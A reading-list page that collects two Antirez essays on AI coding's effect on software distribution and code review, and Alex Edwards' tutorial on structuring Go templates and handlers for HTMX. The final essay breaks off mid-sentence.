Reading

A reading list from the RSS feeds I follow

See my feeds.yaml.

• Not just development, distribution of software may change as well
  Antirez · Jul 22, 2026

  Even if you are as averse to semver as I used to be in the course of my programming activity, you can still think of open source software distribution as something that used to follow a fixed number of steps. There is a branch where developments happen, and this branch oftentimes happens to be not really ready for reliable work. Then you freeze the developments for a certain amount of time (even if, in the meantime, the work can continue on some new unstable branch), fix bugs, ask people to test it. At some point the number of bug reports starts to drop, your team and your users start to believe there are no longer obvious critical flaws that are easy to discover in the next few weeks: then you call the branch 2.4 or whatever, and that's it. However now, with AI coding, it's not just development that has changed, but also the act itself of using software is affected: it is not just you that can ask an AI to do certain changes to the software, but also the recipient of the software itself. This is obvious in the domains where a piece of software has its main user base among programmers, but this is also true in general, as more and more technologically inclined users have AI access and coding agents. Because of this change, the idea of just having a stable branch with everything polished, and an unstable branch where everything is a work in progress, may no longer be the right way to do things. A code repository can also be a finished product, but could be even more useful if it is a template for how to do things around a given problem. Maybe the user will modify the code in order to specialize it for a specific set of requirements, hardware, specific problems to solve. Also, what is too unstable or unproven for the general public may be the right thing for another set of users. Take the example of Redis. For weeks now I have been iterating on a PR that provides strong memory savings for sorted sets. This work, if accepted, will hit every user of Redis, from people that don't have any idea about how Redis works, to users that maybe even contributed code in the course of years. From use cases that are trivial to use cases where a 50% memory saving on sorted sets could mean cutting a big slice of the cloud bill every year. For this last kind of user, having the final product (after all the testing and changes of design I'm doing to refine something that "just works", with the risk that maybe it will not even enter the code base) may be less interesting than having a 95%-ready branch since day zero. It is code they can test, adapt, iterate on, even specialize more for the problem at hand. Maybe DwarfStar is an even more telling example of how code repositories should be good examples more than finished products covering every piece of the features matrix. With local inference you have, in the specific case of DwarfStar, many kinds of GPUs, models, server mode, agent mode, CLI, SSD streaming, tensor and pipeline distributed execution. To test everything everywhere is complicated. Yet, once you have two solid examples of tensor parallel graph execution, a strong coding agent can infer how to implement the same thing for other backend/model pairs. Similarly, once you have an engine that supports two models well enough, a third can be implemented in an almost automatic way, using the existing code base as a guardrail for coding agents in order to guide the implementation. This does not mean that a project like DwarfStar should not work out of the box, but that it could focus on supporting very well a set of features that can be extrapolated to a larger amount of possible situations that the users can cover themselves. It also means another thing: that main and unstable are no longer enough. Many experimental branches could be an integral part of the project. For instance, yesterday the Laguna S.1 model was released. It looks interesting on paper, however: will it really be good enough? Will the new DeepSeek v4 Flash checkpoints make it not really relevant for DwarfStar? It is too early to say. However, to collectively form an idea, publishing a branch with this model implementation is a good middle ground: people will try it, will refine it with their coding agents, and the community can collectively form an idea about how merge-worthy it is. Moreover, today I noticed how, thanks to the rails formed by the corpus of the code inside DwarfStar, the implementation was written in about two hours by GPT 5.6 Sol automatically. Implementing DS4 and GLM5.2 cost me a lot of steering, reading the model card and the details of the implementation of the attention of those models. Now it just worked. GPT 5.6 is more powerful but it also found a lot of good examples inside the existing source code. Software today is more malleable than ever. In some way this means that it can be released in a more fluid way. Also, it means that the documentation itself should not be just good for humans, but also for coding agents to understand how to change the system. How this will evolve exactly, and what the right point of balance between the different dimensions of stability, usability, and features will be, is not clear to me, but I believe we developers need to keep our eyes open to see where all this is headed. Comments

• How I use HTMX with Go
  Alex Edwards · Jul 14, 2026

  When I want to add sprinkles of interactivity to a web application, I'm a big fan of using HTMX. I like that it makes it easy to give interactions a smooth app-like feel, I like that it minimizes the amount of JavaScript that I have to write, and I like that it allows me to keep the consistency and safety of server-side HTML rendering with Go's html/template package. In this post I'm going to run through how I typically use HTMX in conjunction with Go. Although I'm going to talk a bit about how HTMX works, the main focus is going to be on the Go side of things. Specifically: Structuring and rendering HTML templates The patterns I use for sending back partial and full-page HTML responses to HTMX Managing redirects and errors when using HTMX The standard HTMX configuration settings that I use, and why To illustrate these things, we'll run through the build of a small application that ultimately implements a filter on a list of users like this: Note: If you're not already familiar with the basics of using HTMX, I recommend skimming through the HTMX docs before continuing. Also note: A lot of the patterns for working with HTML templates should also be a good fit for other HTML-over-the-wire tools like Unpoly and Hotwire too, if you prefer to use those. Project setup If you'd like to follow along, go ahead and run the following commands to create a skeleton structure for the project: $ go mod init example.com/htmx $ mkdir -p assets/static/css assets/static/img assets/static/js assets/html/partials assets/html/pages cmd/web $ touch assets/efs.go assets/html/base.tmpl assets/html/partials/images.tmpl assets/html/pages/home.tmpl cmd/web/main.go cmd/web/handlers.go cmd/web/html.go That should give you a file tree which looks like this: . ├── assets │ ├── efs.go │ ├── html │ │ ├── base.tmpl │ │ ├── pages │ │ │ └── home.tmpl │ │ └── partials │ │ └── images.tmpl │ └── static │ ├── css │ ├── img │ └── js ├── cmd │ └── web │ ├── handlers.go │ ├── html.go │ └── main.go └── go.mod Installing HTMX There are a few different ways to install HTMX, and you could load it from a CDN or install it using NPM, but I almost always download a copy and serve it as a static file from my web application. It's simple and avoids the downsides of using a CDN. For the purpose of this demo project, we'll also download Bamboo (a classless CSS framework) and an image of a gopher from github.com/egonelbre/gophers. Go ahead and run the following commands to download all three things into the assets/static folder: $ wget -P assets/static/js https://cdn.jsdelivr.net/npm/htmx.org@2.0.10/dist/htmx.min.js $ wget -P assets/static/css https://cdn.jsdelivr.net/npm/bamboo.css@1.4.0/dist/bamboo.min.css $ wget -O assets/static/img/gopher.png https://raw.githubusercontent.com/egonelbre/gophers/refs/heads/master/sketch/misc/standing-left.png The contents of assets/static should now look like this: assets/static ├── css │ └── bamboo.min.css ├── img │ └── gopher.png └── js └── htmx.min.js The HTML templates OK, now that the project skeleton and our static assets are in place, let's get to the main thrust of this post and talk about HTML templates. My starting point in almost all projects is an assets/html directory which has a folder structure like this: assets/html ├── base.tmpl ├── pages │ └── home.tmpl └── partials └── images.tmpl Under this structure: The assets/html/base.tmpl file contains the common HTML 'layout' markup for all web pages. The files in the assets/html/pages directory contain the page-specific content for individual web pages. The files in the assets/html/partials directory contain reusable chunks of HTML markup that can be used in different places. If you're following along, go ahead and add the following markup to the base.tmpl file: File: assets/html/base.tmpl {{define "base"}} {{template "page:title" .}} Example website {{template "page:content" .}} {{end}} There are a few things to point out about this: In the section we import the Bamboo CSS file and the HTMX JavaScript file. Note that when importing HTMX we use the defer attribute. This means that HTMX will be fetched by the browser in parallel as it is parsing the web page HTML, but the script won't be executed until the HTML is fully parsed and the DOM is built. There's an excellent blog post which describes how defer works and why it's the right choice here. When writing HTML templates, I like to give all of my templates explicit names by surrounding the markup in {{define}}...{{end}} actions — even if (like in this case) a file only contains one template and it's not strictly necessary. YMMV, but I prefer the consistency and clarity of being able to always refer to templates by defined names from my Go code, rather than using a mixture of defined names and filenames. Within the template, we use actions like {{template "page:title" .}} to inject the appropriate page-specific content in the right place. Talking of which, let's now add the page-specific content for the homepage to the assets/html/pages/home.tmpl file: File: assets/html/pages/home.tmpl {{define "page:title"}}Home{{end}} {{define "page:content"}} Wanna see a cute gopher? {{end}} In this page we have a with two HTMX attributes: hx-get="/gopher" and hx-swap="outerHTML". These mean that when this button is clicked, HTMX will intercept the click, send a GET /gopher request to our application, and then replace the button in the DOM with whatever HTML our application sends back. Note: The colon character in the template name like {{define "page:title"}} is just an arbitrary separator and you could name it something else, like page_title, page-title, pageTitle or even just title if you prefer. But I like using : because it feels like a natural and clear way to 'namespace' template names. Lastly, let's add a template to the assets/html/partials/images.tmpl containing some HTML for displaying our downloaded gopher image, like so: File: assets/html/partials/images.tmpl {{define "partial:image:gopher"}} {{end}} Note that we're using width="{{.}}" in this markup, so that we can pass a dynamic value for the image width to the template. Embedding the assets Since file embedding was introduced in Go 1.16, I normally embed HTML files and static assets into a Go binary rather than reading them from disk at runtime. Let's update the assets/efs.go file to embed the contents of the assets/html and assets/static directories, and make them available in two global variables called HTMLFiles and StaticFiles respectively. Like so: File: assets/efs.go package assets import ( "embed" "io/fs" ) //go:embed "html" "static" var files embed.FS var ( HTMLFiles = sub(files, "html") StaticFiles = sub(files, "static") ) func sub(f embed.FS, dir string) fs.FS { sub, err := fs.Sub(f, dir) if err != nil { panic(err) } return sub } In this code, the //go:embed "html" "static" directive embeds the contents of the assets/html and assets/static directories into the files variable, which is an embed.FS rooted in the assets directory. I've then used a small sub() function to create two sub-filesystems with their roots in the html and static directories, and assigned them to the HTMLFiles and StaticFiles variables respectively. Doing this has two benefits: It provides a clear separation between the static and HTML files when we are using them from our Go code. Code that is intended to only work with our static files won't have unnecessary access to our HTML files, and vice-versa. Code using the HTMLFiles and StaticFiles filesystems doesn't need to include the html/ or static/ path prefix when opening files. Note: If you don't want to call panic() from the sub() function, you could restructure this to return an error instead, and initialize the HTMLFiles and StaticFiles variables from within your main() function. But the risk of a runtime panic here is extremely low — the fs.Sub() function will only return an error if the dir value is not a valid path, and the static strings "html" and "static" always pass this check. In practice, I've never had any problems using this approach. HTML template rendering For rendering the HTML templates in an HTTP response, I've found that a nice pattern is to create a htmlRenderer type which a) parses a set of shared templates at startup; b) has a render() method that clones and extends the shared template set, before executing a specific named template and sending it as an HTTP response. Go ahead and create the htmlRenderer type in the cmd/web/html.go file like so: File: cmd/web/html.go package main import ( "bytes" "html/template" "io/fs" "net/http" "time" ) type htmlRenderer struct { templateFS fs.FS sharedTemplates *template.Template } // The newHTMLRenderer function creates a new htmlRenderer containing a shared // set of parsed templates with support for any custom template functions. func newHTMLRenderer(templateFS fs.FS, sharedTemplateFiles ...string) (*htmlRenderer, error) { funcs := template.FuncMap{ "now": time.Now, // Other custom template functions go here... } sharedTemplates, err := template.New("").Funcs(funcs).ParseFS(templateFS, sharedTemplateFiles...) if err != nil { return nil, err } r := &htmlRenderer{ templateFS: templateFS, sharedTemplates: sharedTemplates, } return r, nil } // The render method clones the shared template set, optionally parses additional // templates, executes the named template with the supplied data, and writes the // response. func (h *htmlRenderer) render(w http.ResponseWriter, status int, data any, templateName string, additionalTemplateFiles ...string) error { ts, err := h.sharedTemplates.Clone() if err != nil { return err } if len(additionalTemplateFiles) > 0 { ts, err = ts.ParseFS(h.templateFS, additionalTemplateFiles...) if err != nil { return err } } buf := new(bytes.Buffer) err = ts.ExecuteTemplate(buf, templateName, data) if err != nil { return err } w.WriteHeader(status) buf.WriteTo(w) return nil } And then in the cmd/web/main.go file, let's create a basic web application like so: File: cmd/web/main.go package main import ( "log/slog" "net/http" "os" "example.com/htmx/assets" ) // The application struct holds the dependencies needed for our handlers, // including a htmlRenderer type. type application struct { logger *slog.Logger html *htmlRenderer } func main() { logger := slog.New(slog.NewTextHandler(os.Stdout, nil)) // Initialize a new htmlRenderer, parsing the base template and all partial // templates from assets/html into the shared template set. htmlRenderer, err := newHTMLRenderer(assets.HTMLFiles, "base.tmpl", "partials/*.tmpl") if err != nil { logger.Error(err.Error()) os.Exit(1) } // Include the htmlRenderer in the application struct. app := &application{ logger: logger, html: htmlRenderer, } // Create a file server that serves the files from assets/static. fileserver := http.FileServerFS(assets.StaticFiles) // Register the application routes. mux := http.NewServeMux() mux.Handle("GET /static/", http.StripPrefix("/static", fileserver)) mux.HandleFunc("GET /{$}", app.home) // Start the HTTP server. logger.Info("starting server", "port", 5051) err = http.ListenAndServe(":5051", mux) if err != nil { logger.Error(err.Error()) os.Exit(1) } } The important and relevant thing for this post is the initialization call to newHTMLRenderer(). In this call we pass in the glob paths "base.tmpl" and "partials/*.tmpl", which means that the base template and all templates in the partials directory will be available in the shared template set. And with that in place, we can then write the code for the home handler in cmd/web/handlers.go like so: File: cmd/web/handlers.go package main import ( "net/http" ) func (app *application) home(w http.ResponseWriter, r *http.Request) { err := app.html.render(w, 200, nil, "base", "pages/home.tmpl") if err != nil { app.logger.Error(err.Error()) http.Error(w, http.StatusText(500), 500) } } When we call render() in the code above, we are effectively saying append the templates in pages/home.tmpl to the shared template set, and then render the base template along with a 200 OK status. At this point, you should be able to successfully run the application: $ go run ./... time=2026-06-27T21:05:01.668+02:00 level=INFO msg="starting server" port=5051 And if you visit http://localhost:5051 in your browser, you should see the homepage displayed like so: Rendering partials While you're on this homepage, if you open developer tools and then click the "Wanna see a cute gopher?" button, you'll see that it sends a GET /gopher request that 404s. Let's fix this so that our application includes a GET /gopher route, which returns the contents of the partial:image:gopher template. First add the new route like so: File: cmd/web/main.go package main .. func main() { ... mux := http.NewServeMux() mux.Handle("GET /static/", http.StripPrefix("/static", fileserver)) mux.HandleFunc("GET /{$}", app.home) mux.HandleFunc("GET /gopher", app.gopher) ... } And then in cmd/web/handlers.go create a new gopher() handler, which renders the partial:image:gopher template with a width of 100px. File: cmd/web/handlers.go package main ... func (app *application) gopher(w http.ResponseWriter, r *http.Request) { width := 100 err := app.html.render(w, http.StatusOK, width, "partial:image:gopher") if err != nil { app.logger.Error(err.Error()) http.Error(w, http.StatusText(500), 500) } } Because we've set up our htmlRenderer type so that the shared template set already includes all partials, it's sufficient for us to call render() like this without passing in any additional file paths. If you re-run the application now and click the button, you should see that it gets swapped out for a gopher image like so: So, it's taken a while to get here, but the pattern that we now have in place is neat and has some nice benefits. Our templates (and static assets) are embedded into the Go binary, which makes for easy distribution and deployment. We can use the same htmlRenderer.render() function to send either complete HTML pages or specific partials to the client, which makes it easy to send back partial responses when they are needed by HTMX. We can keep the HTML markup nice and DRY by using the base template and partials. The partials can be inserted in the base template, page-specific content, or even in other partials. A more complex example That was very basic in terms of interactivity, so let's do something a bit more realistic and create a 'user search' page that mimics the active search example from the HTMX website. To make this work, we'll create two new routes in our application: A GET /users route which returns a full HTML page containing a table of all user details. A GET /users/search route which returns an HTML partial containing table rows only for users whose names or emails match a specific search value. Now that we've got all the groundwork in place, it should be pretty quick to do. Let's first add an assets/html/pages/users.tmpl file with the page-specific HTML content: $ touch assets/html/pages/users.tmpl File: assets/html/pages/users.tmpl {{define "page:title"}}Users{{end}} {{define "page:content"}} Name Email   {{template "users:rows" .}} {{end}} {{define "users:rows"}} {{range .}} {{ .Name }} {{ .Email }} {{if .IsGopher}} {{template "partial:image:gopher" 24}} {{end}} {{end}} {{end}} There are a couple of interesting things here. The first is the HTMX attributes on the control. We've configured this so that when a user types into the input, after a delay of 500ms (or immediately if they press Enter), HTMX will send a request containing the search term as a query string like GET /users/search?query=foo. When a response is received, HTMX will then swap the response into the inner HTML of the element. For demonstration purposes in this project, we're also using the hx-push-url="true" attribute, which will result in the browser URL bar being updated and a new entry added to the browser history each time HTMX makes a request. I've also structured the file so that the table rows are rendered in their own users:rows template, rather than as part of the page:content template. We'll use this in the GET /users/search to render just the matching user table rows for HTMX to swap in. Note: In theory, we could define the users:rows template inside the partials directory instead, and that wouldn't be an unreasonable thing to do. But if I have a HTML fragment that is only used on one specific page, I think it's clearer and neater to define that fragment inside the page file alongside the other content for the page. YMMV though, and that's OK. Then let's set up the two new routes in main.go: File: cmd/web/main.go package main .. func main() { ... mux := http.NewServeMux() mux.Handle("GET /static/", http.StripPrefix("/static", fileserver)) mux.HandleFunc("GET /{$}", app.home) mux.HandleFunc("GET /gopher", app.gopher) mux.HandleFunc("GET /users", app.listUsers) mux.HandleFunc("GET /users/search", app.searchUsers) ... } And lastly let's go to the handlers.go file and create a hardcoded list of user details, along with the two new handlers listUsers and searchUsers, like so: File: cmd/web/handlers.go package main import ( "net/http" "strings" ) ... // Define a user type. The fields need to be exported so that we can reference // them in our HTML templates. type user struct { Name string Email string IsGopher bool } // Create a hardcoded list of users. var users = []user{ {"Alice Madsen", "alice.madsen@example.com", true}, {"Theo Thatcher", "theo.thatcher@example.com", true}, {"Maxwell Albright", "maxwell.albright@example.com", false}, {"Ruby Thompson", "ruby.thompson@example.com", false}, {"Leona Rowan", "leona.rowan@example.com", false}, {"Alicia Lennox", "alicia.lennox@example.com", true}, {"Ruben Mason", "ruben.mason@example.com", false}, {"Leo Reynolds", "leo.reynolds@example.com", false}, {"Max Lester", "max.lester@example.com", true}, {"Theodore Allister", "theodore.allister@example.com", false}, } func (app *application) listUsers(w http.ResponseWriter, r *http.Request) { // Render a full HTML page containing the content from "pages/users.tmpl" // and all user details. err := app.html.render(w, 200, users, "base", "pages/users.tmpl") if err != nil { app.logger.Error(err.Error()) http.Error(w, http.StatusText(500), 500) } } func (app *application) searchUsers(w http.ResponseWriter, r *http.Request) { // Filter down the list of users to find ones that match the query. query := r.FormValue("query") var matches []user if query == "" { matches = users } else { for _, u := range users { if strings.Contains(u.Name, query) || strings.Contains(u.Email, query) { matches = append(matches, u) } } } // Render just the "users:rows" template from the "pages/users.tmpl" file // with the matching user details. err := app.html.render(w, 200, matches, "users:rows", "pages/users.tmpl") if err != nil { app.logger.Error(err.Error()) http.Error(w, http.StatusText(500), 500) } } When it comes to template rendering, in both of these new handlers we are adding the templates from the pages/users.tmpl file to the shared template set, but in listUsers we execute the base template and in searchUsers we execute just the users:rows template. So with just a little bit of thought to how we structured the markup and defined the templates in the pages/users.tmpl file, it's straightforward for us to send back either a complete HTML document or the appropriate partial HTML fragment for HTMX to do its thing. If you want, try this out by visiting http://localhost:5051/users and you should see the list being filtered as you type. Note: I've been deliberately keeping this web application simple so that the focus is on templates and templating. In a real application, you might want to merge listUsers and searchUsers into a single handler, create some centralized helpers for error handling and logging, use middleware to add Content Security Policy headers and recover panics, set appropriate server timeouts, etc. Checking if a request is coming from HTMX This all works well, but what if someone visits a link like http://localhost:5051/users/search?query=leo directly? Or shares a link to it? Anyone visiting this directly would only see the partial HTML response in their browser, similar to this: This obviously isn't ideal. A much better approach would be to change the response that our searchUsers handler sends, depending on whether the request is coming from HTMX or not. Specifically: If the request is coming from HTMX, we should return an HTML partial that it can swap into the table, just like we already are. If the request is not coming from HTMX, we should return a full HTML page that contains the matching user details. As you may already know if you've used HTMX before, requests that come from HTMX always include an HX-Request: true header. So all we need to do is check for the presence of that in the request, and send back the appropriate response. To help with this, I normally create a little isHTMXRequest() function and use it like so: File: cmd/web/handlers.go package main ... func isHTMXRequest(r *http.Request) bool { return r.Header.Get("HX-Request") == "true" } func (app *application) searchUsers(w http.ResponseWriter, r *http.Request) { query := r.FormValue("query") var matches []user if query == "" { matches = users } else { for _, u := range users { if strings.Contains(u.Name, query) || strings.Contains(u.Email, query) { matches = append(matches, u) } } } // Render the base template by default. template := "base" // But if the request is coming from HTMX, render the users:rows template instead. if isHTMXRequest(r) { template = "users:rows" } err := app.html.render(w, 200, matches, template, "pages/users.tmpl") if err != nil { app.logger.Error(err.Error()) http.Error(w, http.StatusText(500), 500) } } If you restart the application and visit http://localhost:5051/users/search?query=leo again now, you should see a full HTML page containing only the matching user records. But there are a couple more things we need to do to finish this up. Because we're sending back different responses from searchUsers based on the value of the HX-Request header, we should also set a Vary: HX-Request on the response to tell any caches between our server and the client that responses may be different based on the value of this header. We could set the Vary: HX-Request header in searchUsers, but I think it's easier to just always set it on all responses in the render() function. It does mean that we'll be setting the Vary header on all responses — including those from our home handler and listUsers — which isn't strictly necessary and a little bit wasteful. But I think it's worth it to avoid having to remember setting the Vary header correctly in individual handlers, and the risk of bugs that forgetting it may cause. File: cmd/web/html.go func (h *htmlRenderer) render(w http.ResponseWriter, status int, data any, templateName string, additionalFiles ...string) error { ... w.Header().Add("Vary", "HX-Request") w.WriteHeader(status) buf.WriteTo(w) return nil } Lastly, we need to consider back-button behavior. Whenever HTMX adds an entry to the browser history (which it will do when you use the hx-push-url or hx-boost attributes), it caches the HTML for the complete page in the browser's local storage. When the user clicks the back button, this complete cached HTML page will be reshown to them. By default the HTMX cache stores up to 10 pages. If there is a cache miss (i.e. the user navigates back far enough that there is no longer a matching page in the cache), HTMX will resend the request to the server to refetch the content for that URL. The problem is that this request will include the HX-Request: true header, and our application will send back a partial HTML response rather than the complete HTML page that it needs to redisplay to the user. To deal with this scenario, there is an historyRestoreAsHxRequest setting which controls whether HTMX will include the HX-Request: true header when it's sending a request because of a cache miss. The documentation advises: This should always be disabled when using HX-Request header to optionally return partial responses. So let's go ahead and configure HTMX so that the historyRestoreAsHxRequest setting is false. There are a couple of ways you can configure HTMX settings, but I generally like to set them in a meta tag in the base.tmpl file like so: File: assets/html/base.tmpl {{define "base"}} {{template "page:title" .}} Example website {{template "page:content" .}} {{end}} Now that this is set, if there is a cache miss when using the back button, HTMX will send a request to our application without the HX-Request: true header, and our application will send back the complete HTML page to reshow to the user. Managing redirects Using HTMX in your application normally reduces the need for 3xx redirects. For example, when submitting a form you can often send back an HTML partial with a success message that can be swapped into the page, rather than using the standard Post/Redirect/Get pattern and redirecting to a confirmation page. But still, there may be times that you want to redirect to a completely new page after a form submission coming from HTMX. A common example would be redirecting to a profile page after a successful login. Unfortunately, to achieve this you can't just send a regular 3xx response. The crux of the problem is that that browsers will automatically intercept and follow 3xx responses before HTMX has access to them — so HTMX never gets to see the 3xx response, only the final response after any redirects. It doesn't know that a redirect happened behind the scenes, and will just swap in the returned content like normal. Instead, if you want something that behaves more like a regular redirect, you need to send a 2xx response along with the HX-Redirect header. For example, when you include the response header HX-Redirect: /foo/bar, it will make HTMX tell the browser to navigate to /foo/bar, triggering a full-page reload. Importantly the HX-Request: true header will not be included in the request to /foo/bar. But you also need to handle the situation where the original request might not be coming from HTMX — especially if you are using progressive enhancement so that your application still works if JavaScript is disabled or HTMX doesn't load correctly. In that case, it's important to fallback to sending a regular 3xx response from your Go handler, rather than the 2xx response and HX-Redirect header. Putting this together, I normally create a redirect() helper which leverages the isHTMXRequest() function we made earlier and looks like this: func redirect(w http.ResponseWriter, r *http.Request, url string, code int) { if isHTMXRequest(r) { w.Header().Set("HX-Redirect", url) w.WriteHeader(http.StatusNoContent) return } http.Redirect(w, r, url, code) } And, for example, in the scenario of wanting to redirect to a /profile page after a successful login, I use it in my Go handlers like this: redirect(w, r, "/profile", http.StatusSeeOther) As I mentioned above, using HX-Redirect will trigger a full-page reload. But there is another option — the HX-Location header — which makes HTMX mimic the behavior of a redirect without a full-page reload. It essentially makes HTMX fetch the HTML for the provided URL, swap it into the HTML body, and add a new entry to the browser history. Importantly, when fetching the HTML the HX-Request: true header is used. At first glance, using HX-Location might seem preferable because it doesn't make a full-page reload, which gives your application a smoother more SPA-like experience. But it's a problem if the route that you are redirecting to uses the HX-Request: true header to conditionally send HTML partials. The handler has no way of telling whether the request is coming from HTMX following a HX-Location redirect (in which case it should send a full-page response) or from a 'normal' HTMX request (in which case it should return a partial). Unfortunately, unlike history restore requests, HTMX doesn't provide a setting to disable the HX-Request: true header when redirecting. So, most of the time I think it's easier and safer to use HX-Redirect and accept the downside of a full-page reload. But... if you are careful and structure your application so that the routes you redirect to only ever return full HTML pages, you may want to change the redirect() helper to use HX-Location instead like so: func redirect(w http.ResponseWriter, r *http.Request, url string, code int) { if isHTMXRequest(r) { w.Header().Set("HX-Location", url) w.WriteHeader(http.StatusNoContent) return } http.Redirect(w, r, url, code) } Managing errors If our demo application returns a 4xx or 5xx response, by default HTMX will not swap in the response. Instead it leaves the DOM as-is, and logs an error message in the console. If you'd like to see this in action, go ahead and change the gopher handler to render a "partial:image:missing" template (which doesn't exist). This should cause our application to error and send a 500 status code and a plaintext "Internal Server Error" response to the client. File: cmd/web/handlers.go func (app *application) gopher(w http.ResponseWriter, r *http.Request) { err := app.html.render(w, http.StatusOK, 100, "partial:image:missing") if err != nil { app.logger.Error(err.Error()) http.Error(w, http.StatusText(500), 500) } } If you run the application and click the "Wanna see a cute gopher?" button, now nothing on the screen will change, but in your developer tools network tab you'll see the 500 response and a record of the problem in the console, like so: In most cases, this isn't ideal. If an application is sending back an error message, I normally want the user to actually see this message rather than having the operation fail silently for them (or at least, silently unless they have developer tools open 😉). And also in most cases, I want to display any error message from a 4xx or 5xx response as full-page HTML (in the same way that it would be shown if we weren't using HTMX) by swapping it into the element rather than swapping it into the regular HTMX target. The only exception to this is the 422 Unprocessable Content status, which I typically use when sending back a form with validation errors in it. In this case, I want HTMX to swap the returned content into the target element as normal. Luckily, you can use the HTMX responseHandling setting to configure different behavior for different responses codes. I normally configure this so that: For 204 No Content responses, no action is taken and no changes are made to the DOM. For 422 Unprocessable Content responses, HTMX swaps the response content into the target as normal. For all other 4xx and 5xx responses, HTMX swaps the returned content into the element. For any other response, HTMX swaps the response content into the target as normal. And just like before, I normally configure this via the HTMX configuration meta tag like so: File: assets/html/base.tmpl {{define "base"}} {{template "page:title" .}} Example website {{template "page:content" .}} {{end}} With that change made, if you restart the application and click the button again, you should now see the "Internal Server Error" message shown as a full-page response, like so: Note: If I ever want to swap an error message into a target that isn't the element, then I use the response target extension to override the above settings for a specific interaction and swap into a specific target. But... I find that the above settings are a good starting default. Current browser URL Because HTMX makes AJAX requests and swaps in responses without changing the browser URL (unless you use the hx-boost, hx-push-url or hx-replace-url attributes), the request URL that we see in our Go handlers when accessing r.URL may be different to the one that the user is seeing in their browser. Occasionally, there are times when I want to know in my Go handler exactly what URL the user is currently seeing in their browser. Fortunately, HTMX sends this information with each request in the HX-Current-URL header. Usually I make another little function to help with this, which parses the HX-Current-URL value and returns it as a url.URL, falling back to returning r.URL if no HX-Current-URL header is present. Like so: func browserURL(r *http.Request) (*url.URL, error) { cu := r.Header.Get("HX-Current-URL") if cu != "" { return url.Parse(cu) } return r.URL, nil } Additional HTMX configuration Lastly, there are a few other HTMX configuration settings that I normally change from the default values. I tend to disable the HTMX cache completely by setting historyCacheSize to 0. Caching pages in local storage is a source of bugs and security issues, so I think it's simpler and better to just disable it completely. If you do this, no pages will be cached in local storage, and when the user clicks the back button HTMX will send a request to the server to refetch the HTML. It's worth noting that caching in local storage will also be disabled by default in future versions of HTMX for the same reasons. I prefer to disable HTMX attribute inheritance by setting disableInheritance to true. I think it's clearer and lowers the risk of bugs or unintended behavior when HTMX attributes are always declared explicitly. Again, it's worth noting that attribute inheritance will also be disabled by default in future versions of HTMX. I also disable HTMX indicator styles by setting includeIndicatorStyles to false. For consistency, I prefer not to have HTMX injecting styles, and would rather define any indicator styles alongside my other CSS rules. By default there is no timeout on HTMX requests, and they will wait as long as necessary for the server to respond. It's project-specific, and depends on how I'm handling timeouts and deadlines in my Go application, but sometimes I may also use the timeout setting to set a default timeout (in milliseconds) on the HTMX end. All in all, the starting point for my HTMX configuration settings normally looks like this: Page-specific layouts Let's finish up this post with a final note about HTML templates in larger applications. For some applications, having a base template along with page-specific templates might not be enough. You might also want 'layout' templates that sit between the base template and your page-specific content — for example, you might want to use a layout template for your admin-area pages that is different to the rest of your regular application pages. The patterns that we've talked about in this post can be extended fairly easily to accommodate this. For example, you can change the base template to insert a "layout" template in the body element instead of the page-specific content directly: {{define "base"}} {{template "page:title" .}} ... {{template "layout" .}} {{end}} Then you could create an assets/html/layouts/admin.tmpl file containing the common 'layout' markup for the admin pages: {{define "layout"}} Admin area Users Orders {{template "page:content" .}} {{end}} And then you can specify which layout template you want to use in your Go handlers as part of the call to render(). Like so: func (app *application) adminOrders(w http.ResponseWriter, r *http.Request) { err := app.html.render(w, 200, nil, "base", "layouts/admin.tmpl", "pages/admin-orders.tmpl") if err != nil { app.logger.Error(err.Error()) http.Error(w, http.StatusText(500), 500) } }

• Control the ideas, not the code
  Antirez · Jul 13, 2026

  Look at the past history of this blog. There are many blog posts about programming with AI, a few of them date back to January 2024 (like this: https://antirez.com/news/140). I’m a relatively well regarded programmer, after all. I don’t have the need to still be in the “loop” as a old man that seeks for relevance, I recently rejoined Redis, and now I also am developing a new open source software for local LLM inference that received a good welcome in the community. Why I keep doing this, of saying what people don’t want to hear? Why I keep announcing how future programming will be by default? Because I feel the urge of lowering the impact for people less prepared to the change than me, often younger than me, and that, unlikely me, didn’t see many of those things coming (In 2022 I published, before ChatGPT existed, a book preannouncing many things that now happened and other things that I believe *will* happen, so I feel like I can say this without sounding egocentric). So mine is a trick. People feel more and more programming is completely modified by AI and don’t know what they should do, if they can really start coding in a completely different way, without looking much at the code as their main output. They feel like they are betraying their own field. So my intention is to arrive and say “look at me, In can write code, you know, I’m not hiding behind AI: yet, things changed, it’s not your weakness, it’s not that you are AI-pilled. It is just that our field is evolving in an incredible *and* painful (but also joyful) direction”. This is why yesterday, on X, I said that I believe many programmers at this point have less impact they could have because they look at the code. I truly believe into that. And note that this does not mean to vibe code something just asking for the final product. The point is: if you control the ideas of your software, looking at the code itself is suboptimal and often pointless. For the following reasons: 1. You can now generate a lot of code, even *not* accounting for the LLM code verbosity (that is also effect of not being able to instruct them well, for most of the part). How are you supposed to review 5k lines of code every day? 2. LLMs are very good at writing locally optimal code, and are worse (but improving) with big ideas. What’s the point of scanning function by function, line by line? Instead you should prompt the design you have in mind, sometimes ask “how is exactly the design of that part? How does it work?”, and evaluate if it is the right model. It is much faster. 3. The working day is 8 hours. If you read the code, it is a tradeoff. You are doing less of what today is the most important part of your job, that is, asking yourself: what I’m doing with this software? What are the new directions I want to take? And also, think at new ideas, features, optimizations tricks. And doing a lot of QA. Controlling the ideas. Do you remember this phrasing from the Mythical Man Month? Well, a book from the 70s tells us more things about the current software era than many of the things that were said from 2000 to 2020. Why people that now protest against AI were not horrified by the state of software in the last decade? The level of slop we touched during recent years, before AI, is unbelievable. I’ll say you another thing. What is slop? With DwarfStar I implemented an inference for two LLMs (DeepSeek v4 and GLM 5.2) in a completely automated way, but: try it yourself, you will discover you can’t just say “implement XYZ” and see it working. You have to understand how things work, what is the best design, how to reach a certain level of performance. Then I compared the implementation, for correctness, to other systems, finding that other implementations sometimes contained more errors. I researched more, and found that the local inference world is full of subtle errors that accumulate and damage the model output, issues in the attention implementation causing performance slopes after the context is over a certain limit because indexed attention implementations are broken (do more work than they should, for instance), and so forth. This is the result of a domain that is very complicated to handle, fast changing, with models that are slightly different one from the other in the inference graph being released every day. It’s an unfair game for developers. Well: AI helps a lot with that. There are many domains where rigorous engineering (in the design side) and testing is *far* better than writing a GPU kernel by hand (or reading it). So are we sure most of that resistance it is not ideological? Matteo Collina yesterday asked me, in reply to my tweet: but didn’t you say that you check all the AI generated code for Redis? And this is a good question indeed. Yes, I do, but this is, at this point, something I *need* to do but that 